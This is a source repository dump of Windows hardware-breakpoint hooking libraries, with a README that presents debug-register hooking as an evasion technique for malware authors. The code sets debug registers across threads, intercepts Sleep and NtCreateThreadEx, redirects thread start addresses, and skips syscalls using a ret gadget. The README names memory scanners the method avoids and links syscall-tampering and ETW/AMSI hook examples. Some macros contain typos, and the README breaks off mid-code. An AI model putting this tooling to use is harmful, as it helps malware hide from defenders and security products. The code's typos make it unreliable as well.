Repository: rad9800/hwbp4mw Branch: main Commit: 9a83a1fda068 Files: 9 Total size: 127.4 KB Directory structure: gitextract_ztggurhc/ ├── DRPGG.cpp ├── HWBP.c ├── HWBPP.cpp ├── LICENSE.md ├── NtCreateThreadExHook.cpp ├── README.md ├── TamperingSyscalls2.c ├── TamperingSyscalls2.cpp └── recvHook.cpp ================================================ FILE CONTENTS ================================================ ================================================ FILE: DRPGG.cpp ================================================ ////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ /* C++ PAGE_GUARD/HWBP Breakpoint Library c++20 */ ////////////////////////////////////////////////////////////////////////////////////////// #include #include #include // std::function using EXCEPTION_FUNC = std::function ; ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK; typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK; typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map HWBP_ADDRESS_MAP{ 0 }; std::unordered_map PG_ADDRESS_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; } VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thd != INVALID_HANDLE_VALUE) { SetHWBP(thd, address, pos, init); CloseHandle(thd); } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); } } ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000); return 0; } ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos); HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos; }; VOID RemoveHWBPS() { SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address); } ~HWBP() { RemoveHWBPS(); } private: const uintptr_t address; UINT pos; }; template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } { VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); PG_ADDRESS_MAP[address].func = function; } VOID RemovePGEntry() { VirtualProtect((LPVOID)address, 1, old, &old); PG_ADDRESS_MAP.erase(address); } ~PGBP() { RemovePGEntry(); } private: DWORD old; const uintptr_t address; }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) }; HWBP HWBPSleep{ (uintptr_t)&Sleep, 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx); ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution }) }; PGBP VEHNtCreateThreadEx{ (uintptr_t)GetProcAddress( GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx" ), ([&](PEXCEPTION_POINTERS ExceptionInfo) { // create a new thread suspended LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)( (PHANDLE)ExceptionInfo->ContextRecord->Rcx, (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx, (PVOID)ExceptionInfo->ContextRecord->R8, (HANDLE)ExceptionInfo->ContextRecord->R9, (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30), (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull, (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58) ); CONTEXT context{ 0 }; context.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); for (auto& i : HWBP_ADDRESS_MAP) { (&context.Dr0)[i.second.pos] = i.first; context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos)); context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos)); context.Dr7 |= 1ull << (2 * i.second.pos); } SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx)); ExceptionInfo->ContextRecord->Rax = status; ExceptionInfo->ContextRecord->Rip = FindRetAddr(ExceptionInfo->ContextRecord->Rip); }) }; Sleep(1000000); for (unsigned int i = 0; i < 2; ++i) { HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL); if (t) WaitForSingleObject(t, INFINITE); } if (handler) RemoveVectoredExceptionHandler(handler); } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ================================================ FILE: HWBP.c ================================================ ////////////////////////////////////////////////////////////////////////////////////////// /* HWBP.c - @rad9800 */ /* Multi-thread safe x86/x64 hooking engine */ ////////////////////////////////////////////////////////////////////////////////////////// #include #include ////////////////////////////////////////////////////////////////////////////////////////// /* Macros */ ////////////////////////////////////////////////////////////////////////////////////////// #define MALLOC( size ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) #define FREE( adr ) HeapFree(GetProcessHeap(), 0, adr) #if defined(__x86_64__) || defined(_M_X64) typedef void (__stdcall* exception_callback)(const PEXCEPTION_POINTERS); #define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Rip) #define EXCEPTION_FIRST_ARG(ei) (ei->ContextRecord->Rcx) #define EXCEPTION_SECOND_ARG(ei) (ei->ContextRecord->Rdx) #define EXCEPTION_THIRD_ARG(ei) (ei->ContextRecord->R8) #define EXCEPTION_FOURTH_ARG(ei) (ei->ContextRecord->R9) #define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 5) #define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 6) #define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 7) #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86) typedef void (__cdecl* exception_callback)(const PEXCEPTION_POINTERS); #define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Eip) #define EXCEPTION_FIRST_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)) #define EXCEPTION_SECOND_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*2) #define EXCEPTION_THIRD_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*3) #define EXCEPTION_FOURTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*4) #define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*5) #define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*6) #define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*7) #endif ////////////////////////////////////////////////////////////////////////////////////////// /* Typedefs */ ////////////////////////////////////////////////////////////////////////////////////////// struct descriptor_entry { PVOID adr; unsigned pos; DWORD tid; BOOL dis; exception_callback fun; struct descriptor_entry* next, * prev; }; ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// CRITICAL_SECTION g_critical_section; struct descriptor_entry* head = NULL; ////////////////////////////////////////////////////////////////////////////////////////// /* Function Definitions */ ////////////////////////////////////////////////////////////////////////////////////////// /* * Function: set_hardware_breakpoint * --------------------------------- * sets/removes a hardware breakpoint in the specified debug register for a specific * function address * * tid: thread id * address: address of function to point a debug register towards * pos: Dr[0-3] * init: TRUE (Sets)/FALSE (Removes) * * return: * BOOL - TRUE/FALSE */ BOOL set_hardware_breakpoint( const DWORD tid, const PVOID address, const UINT pos, const BOOL init ) { HANDLE thd = INVALID_HANDLE_VALUE; BOOL ret = FALSE; do { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; if (tid == GetCurrentThreadId()) { thd = GetCurrentThread(); } else { thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid); } if (thd == INVALID_HANDLE_VALUE) break; if (!GetThreadContext(thd, &context)) break; if (init) { (PVOID)(&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((PVOID)(&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = 0ull; } } if (!SetThreadContext(thd, &context)) break; ret = TRUE; } while (FALSE); if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd); return TRUE; } /* * Function: set_hardware_breakpoint * --------------------------------- * sets/removes a hardware breakpoint in the specified debug register for a specific * function address * * address: address of function to point a debug register towards * pos: Dr[0-3] * init: TRUE (Sets)/FALSE (Removes) * tid: Thread ID (0 if to set on all threads) * * return: * BOOL - TRUE/FALSE */ BOOL set_hardware_breakpoints( const PVOID address, const UINT pos, const BOOL init, const DWORD tid ) { const DWORD pid = GetCurrentProcessId(); const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (h == INVALID_HANDLE_VALUE) return FALSE; THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { if (tid != 0 && tid != te.th32ThreadID) { continue; } set_hardware_breakpoint( te.th32ThreadID, address, pos, init ); } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); return TRUE; } /* DLL related functions */ /* * Function: insert_descriptor_entry * --------------------------------- * Instantiates a hardware hook at the supplied address. * * adr: address to hook * pos: Dr[0-3] * fun: callback function matching the exception_callback signature * tid: Thread ID (if is 0, will apply hook to all threads) * dis: Disable DR during callback (allows you to call original function) */ BOOL insert_descriptor_entry( const PVOID adr, const unsigned pos, const exception_callback fun, const DWORD tid, const BOOL dis ) { const unsigned idx = pos % 4; struct descriptor_entry* new = MALLOC(sizeof(struct descriptor_entry)); if (!new) return FALSE; EnterCriticalSection(&g_critical_section); new->adr = adr; new->pos = idx; new->tid = tid; new->fun = fun; new->dis = TRUE; new->next = head; new->prev = NULL; if (head != NULL) head->prev = new; head = new; LeaveCriticalSection(&g_critical_section); return set_hardware_breakpoints( adr, idx, TRUE, tid ); } /* * Function: insert_descriptor_entry * --------------------------------- * Removes the hardware breakpoint entry * * adr: address to hook * tid: Thread ID (if is 0, will apply hook to all threads) * N.B. the tid must match the originally applied value * */ BOOL delete_descriptor_entry( const PVOID adr, const DWORD tid ) { struct descriptor_entry* temp = NULL; unsigned pos = 0; BOOL found = FALSE; EnterCriticalSection(&g_critical_section); temp = head; while (temp != NULL) { if (temp->adr == adr && temp->tid == tid) { found = TRUE; pos = temp->pos; if (head == temp) head = temp->next; if (temp->next != NULL) temp->next->prev = temp->prev; if (temp->prev != NULL) temp->prev->next = temp->next; FREE(temp); } temp = temp->next; } LeaveCriticalSection(&g_critical_section); if (found) { return set_hardware_breakpoints( adr, pos, FALSE, tid ); } return FALSE; } ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// /* * Function: exception_handler * ----------------------------------------- * hardware breakpoint exception handler required to deal with set debug registers. * initiated by hardware_engine_init and removed by hardware_engine_stop * */ LONG WINAPI exception_handler( const PEXCEPTION_POINTERS ExceptionInfo ) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { struct descriptor_entry* temp = NULL; BOOL resolved = FALSE; EnterCriticalSection(&g_critical_section); temp = head; while (temp != NULL) { if (temp->adr == (PVOID)EXCEPTION_CURRENT_IP(ExceptionInfo)) { if (temp->tid != 0 && temp->tid != GetCurrentThreadId()) continue; // // We have found our node, now check if we need to disable current Dr // if (temp->dis) { set_hardware_breakpoint( GetCurrentThreadId(), temp->adr, temp->pos, FALSE ); } temp->fun(ExceptionInfo); // // re-enable dr for our current thread // if (temp->dis) { set_hardware_breakpoint( GetCurrentThreadId(), temp->adr, temp->pos, TRUE ); } resolved = TRUE; } temp = temp->next; } LeaveCriticalSection(&g_critical_section); if (resolved) { return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } /* * Function: hardware_engine_init * ------------------------------ * initializes the VEH and critical section * * returns: handler to the exception handler (can be removed with * RemoveVectoredExceptionHandler. */ PVOID hardware_engine_init( void ) { const PVOID handler = AddVectoredExceptionHandler(1, exception_handler); InitializeCriticalSection(&g_critical_section); return handler; } /* * Function: hardware_engine_stop * ------------------------------ * Disables all currently set hardware breakpoints, and * clears all the descriptor entries. * */ void hardware_engine_stop( PVOID handler ) { struct descriptor_entry* temp = NULL; EnterCriticalSection(&g_critical_section); temp = head; while (temp != NULL) { delete_descriptor_entry(temp->adr, temp->tid); temp = temp->next; } LeaveCriticalSection(&g_critical_section); if (handler != NULL) RemoveVectoredExceptionHandler(handler); DeleteCriticalSection(&g_critical_section); } ////////////////////////////////////////////////////////////////////////////////////////// /* Callbacks */ ////////////////////////////////////////////////////////////////////////////////////////// void sleep_callback_test(const PEXCEPTION_POINTERS ExceptionInfo) { Sleep(1000); EXCEPTION_FIRST_ARG(ExceptionInfo) = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); } ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = hardware_engine_init(); // // 0 to hook all threads // GetCurrentThreadId() for current thread // insert_descriptor_entry(Sleep, 0, sleep_callback_test, 0, TRUE); //insert_descriptor_entry(Sleep, 0, sleep_callback_test, GetCurrentThreadId()); Sleep(0xDEADBEEF); delete_descriptor_entry(Sleep, 0); //delete_descriptor_entry(Sleep, GetCurrentThreadId()); hardware_engine_stop(handler); } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ================================================ FILE: HWBPP.cpp ================================================ ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 */ /* C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include #include #include using EXCEPTION_FUNC = std::function ; ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK; ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map HWBP_ADDRESS_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thd != INVALID_HANDLE_VALUE) { SetHWBP(thd, address, pos, init); CloseHandle(thd); } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); } } ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos); HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos; }; VOID RemoveHWBPS() { SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address); } ~HWBP() { RemoveHWBPS(); } private: const uintptr_t address; UINT pos; }; // Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; 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If this is what you want to do, use the GNU Lesser General Public License instead of this License. ================================================ FILE: NtCreateThreadExHook.cpp ================================================ ////////////////////////////////////////////////////////////////////////////////////////// /* Detour Original Thread */ ////////////////////////////////////////////////////////////////////////////////////////// // 1) Disable HWBP for that thread // 2) Create thread with the correct arguments but for the (7th | against 0x1) to create suspended // 3) Get thread context on the Rcx which is the HANDLE output // 4) Modify context with the correct hwbp from global variable // 5) Set thread context with updated context // 6) Resume thread // 7) Restore our HWBP for our current thread // 8) Set our RAX value to the return valued from the detoured NtCreateThreadEx // 9) Set our RIP to a ret gadget so we avoid calling syscall again // Global Variable PVOID START_THREAD{ 0 }; // capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { // save original thread address START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28); // set the start address to our thread address *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter); // Set required HWBP for (auto& i : HWBP_ADDRESS_MAP) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, true); } // restore execution to original thread return ((typeThreadProc)START_THREAD)(lpParameter); } ////////////////////////////////////////////////////////////////////////////////////////// /* Hook Suspended Thread */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { // do not worry this will be optimized if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; } typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) { // temporary disable of NtCreateThreadEx in our current thread. for (auto& i : HWBP_ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } // create the original thread BUT suspended // THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001 // ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED) LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)( (PHANDLE)ExceptionInfo->ContextRecord->Rcx, (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx, (PVOID)ExceptionInfo->ContextRecord->R8, (HANDLE)ExceptionInfo->ContextRecord->R9, (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30), (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull, (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48), (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50), (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58) ); CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); // Setup required HWBP for (auto& i : HWBP_ADDRESS_MAP) { (&context.Dr0)[i.second.pos] = i.first; context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos)); context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos)); context.Dr7 |= 1ull << (2 * i.second.pos); } SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx), &context); ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx)); // restore our HWBP on NtCreateThreadEx for (auto& i : HWBP_ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } // RAX contains the return value. ExceptionInfo->ContextRecord->Rax = status; // Set RIP to a ret gadget to avoid creating // another new thread (skip syscall instruction) ExceptionInfo->ContextRecord->Rip = FindRetAddr(ExceptionInfo->ContextRecord->Rip); }) }; ================================================ FILE: README.md ================================================ This article was origininally for [VX-Underground Black Mass Halloween Edition 2022](https://papers.vx-underground.org/papers/Other/VXUG%20Zines/Black%20Mass%20Halloween%202022.pdf). Hooking Engines: - [Multi-thread safe x86/x64 hwbp hooking engine c](HWBP.c) - [PAGE_GUARD/hwbp Breakpoint Library c++20](DRPGG.cpp) - [hwbp Library (DLL example) c++20](HWBPP.cpp) Generic x64 user-land evasion technique utilizing debug registers: - [TamperingSyscalls2 c](TamperingSyscalls2.c) - [TamperingSyscalls2 c++20](TamperingSyscalls2.cpp) Example ETW/AMSI hooks available - [rad9800/misc](https://github.com/rad9800/misc/tree/main/hooks) ## Hardware Breakpoints for Malware v 1.0 Our task is to trivially hook functions and divert the code flow as needed, and finally remove the hook once it is no longer needed. We cannot look to apply IAT hooks as they are not always called and thus unreliable. Inline hooking is a powerful technique; however, it requires we patch the memory where the code lies. This is a powerful technique, but tools such as PE-Sieve and Moneta can distinguish the difference in the memory resident and on-disk copy of a module and flag this. This leaves us with the perfect tool for the job: Debug Registers, though they are pretty underappreciated by malware authors! On Windows, as a high-level overview, a process is essentially an encapsulation of threads, and each of these threads maintains a context which is the thread's state: the registers and stack etc. Debug registers are a privileged resource, and so is setting them; however, Windows exposes various syscalls, which allow us to request that the kernel make a privileged action on our behalf; this includes setting debug registers which are perfect for us. NtSetThreadContext and NtGetThreadContext expose functionality to modify any thread context to which we can open a handle with the necessary privilege. We can see how to set debug registers with the Win32 API. ```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); // set our debug information in the Dr registers SetThreadContext(thd, &context); ``` There are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only Dr0-3 which we store addresses we would like to break on, and Dr6 is just the debug status. Most importantly is Dr7, which describes the breakpoints conditions in which the processor will throw an exception. There are various limitations when using debug registers, such as a limited number (4) and not being applied to all threads/newly spawned threads. We will look to address some of these limitations! When the exception is thrown, it will look for an exception handler which we can define and register in our program [1]. In our defined exception handler, we want our associated code (different code flows) to run when the corresponding breakpoint is triggered. ```c LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { // Look for our associated code flow relative to our RIP if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ``` This is achieved by a constructor function that sets the mapping between a "callback" lambda function and an address. using EXCEPTION_FUNC = std::function ; ```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK; // Global std::unordered_map HWBP_ADDRESS_MAP{ 0 }; // Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos; ``` We must iterate through all our process threads and set the corresponding adjustments to the context for them. This can be achieved using the ToolHelp32 helper functions: CreateToolhelp32Snapshot, and Thread32Next. This is nothing fancy, but it addresses one of our limitations of not attaching to all threads. ```c VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { DWORD pid{ GetCurrentProcessId() }; HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = 